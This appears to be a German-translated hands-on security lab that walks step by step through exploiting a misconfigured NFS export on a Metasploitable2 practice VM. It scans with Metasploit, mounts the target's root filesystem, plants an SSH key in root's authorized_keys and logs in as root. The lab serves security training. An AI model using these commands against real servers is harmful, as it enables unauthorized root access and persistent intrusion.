Nutzen Sie NFS-Konfigurationsfehler für Root-Zugang mit Nmap

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

Network File System (NFS) ist ein verteiltes Dateisystemprotokoll, das es Benutzern ermöglicht, remote Dateien so zuzugreifen, als wären sie lokal. Allerdings kann eine fehlerhafte Konfiguration von NFS zu schwerwiegenden Sicherheitslücken führen, die es Angreifern ermöglichen, unbefugten Zugang zum System zu erhalten. In diesem Lab erfahren Sie, wie Sie eine fehlerhafte NFS-Konfiguration ausnutzen können, um Root-Zugang zu einem Zielsystem zu erhalten.

Das Ziel dieses Labs besteht darin, die mit einer fehlerhaften NFS-Konfiguration verbundenen Risiken zu verstehen und zu lernen, wie man einen erfolgreichen NFS-basierten Angriff durchführt. Am Ende des Labs haben Sie praktische Erfahrungen in der Identifizierung von NFS-Freigaben, deren lokaler Montage und der Ausnutzung der fehlerhaften Konfiguration zum Erhalt von Root-Rechten auf dem Zielsystem gesammelt.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") subgraph Lab Skills nmap/installation -.-> lab-416131{{"Nutzen Sie NFS-Konfigurationsfehler für Root-Zugang mit Nmap"}} nmap/port_scanning -.-> lab-416131{{"Nutzen Sie NFS-Konfigurationsfehler für Root-Zugang mit Nmap"}} nmap/target_specification -.-> lab-416131{{"Nutzen Sie NFS-Konfigurationsfehler für Root-Zugang mit Nmap"}} end

Scan für NFS-Freigaben

In diesem Schritt verwenden Sie das Metasploit-Framework, um die Zielmaschine auf NFS-Freigaben zu scannen.

Nun starten Sie die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2-Virtuelle Maschine) für das Experiment.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie das Metasploitable2-Ziel, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie pingen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die Bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host --privileged b5b709a49cd5 bash

Es gibt einen zusätzlichen Parameter --privileged, der verwendet wird, damit das Root-Konto innerhalb des Containers echte Root-Rechte hat. Andernfalls ist das Root-Konto innerhalb des Containers nur ein normaler Benutzer mit externen Rechten. Wenn Sie einen Container mit dem Parameter --privileged starten, können Sie viele Geräte auf dem Host sehen und einen mount durchführen. Sie können sogar Docker-Container innerhalb von Docker-Containern starten.

  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit der Penetrationstests beginnen.

  1. Starten Sie nun die Metasploit-Konsole:
cd ~
msfconsole
  1. In der Metasploit-Konsole verwenden Sie das Modul auxiliary/scanner/nfs/nfsmount, um nach NFS-Freigaben zu scannen:
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

Dieses Modul scannt das Zielsystem und zeigt alle exportierten NFS-Freigaben an.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Montieren der NFS-Freigabe

In diesem Schritt werden Sie die NFS-Wurzel-Freigabe auf dem Kali-Container montieren.

Zuerst installieren Sie das Paket nfs-common:

cd /
apt-get install -y nfs-common

Montieren Sie die NFS-Wurzel-Freigabe:

mount -t nfs -o nolock 192.168.122.102:/ /mnt

Dieser Befehl montiert das Root-Verzeichnis (/) des Zielsystems auf das Verzeichnis /mnt im Kali-Container.

Überprüfen Sie, ob die NFS-Freigabe korrekt montiert wurde, indem Sie den Inhalt des /mnt-Verzeichnisses auflisten:

ls /mnt

Sie sollten den Inhalt des Root-Verzeichnisses des Zielsystems sehen.

Erstellen eines SSH-Schlüsselpaars

In diesem Schritt erstellen Sie ein SSH-Schlüsselpaar, um einen passwortlosen SSH-Zugang zum Zielsystem zu ermöglichen.

Generieren Sie ein SSH-Schlüsselpaar:

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

Dieser Befehl erstellt zwei Dateien: /root/.ssh/id_rsa (Privatschlüssel) und /root/.ssh/id_rsa.pub (Öffentlicher Schlüssel).

Aktivieren des passwortlosen SSH-Zugangs

In diesem Schritt fügen Sie den öffentlichen Schlüssel zur Datei der autorisierten Schlüssel des Zielsystems hinzu, um einen passwortlosen SSH-Zugang zu ermöglichen.

Kopieren Sie den öffentlichen Schlüssel in die Datei der autorisierten Schlüssel des Zielsystems:

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

Dieser Befehl hängt den Inhalt Ihrer öffentlichen Schlüsseldatei an die Datei /root/.ssh/authorized_keys auf dem Zielsystem an.

Erlangen von Root-Zugang

In diesem Schritt nutzen Sie den passwortlosen SSH-Zugang, um sich als Root-Benutzer auf dem Zielsystem anzumelden.

Verbinden Sie sich mit dem Zielsystem über SSH:

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]

Sie sollten nun eine Root-Shell auf dem Zielsystem haben, ohne dass Sie nach einem Passwort gefragt werden.

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie eine fehlerhafte NFS-Konfiguration ausnutzen können, um unbefugten Root-Zugang zu einem Zielsystem zu erlangen. Sie haben zunächst mit dem Metasploit-Framework nach NFS-Freigaben gescannt und dann die NFS-Wurzel-Freigabe auf Ihrem lokalen Rechner montiert. Anschließend haben Sie ein SSH-Schlüsselpaar erstellt und den öffentlichen Schlüssel zur Datei der autorisierten Schlüssel des Zielsystems hinzugefügt, um einen passwortlosen SSH-Zugang zu ermöglichen. Schließlich haben Sie den passwortlosen SSH-Zugang genutzt, um sich als Root-Benutzer auf dem Zielsystem anzumelden.

Dieses Lab hat die Wichtigkeit einer korrekten Konfiguration von NFS-Freigaben und die potenziellen Risiken, die mit einer fehlerhaften Konfiguration verbunden sind, gezeigt. Indem Sie diese Schwachstellen verstehen, können Sie Ihre Systeme besser sichern und gegen potenzielle Angriffe schützen.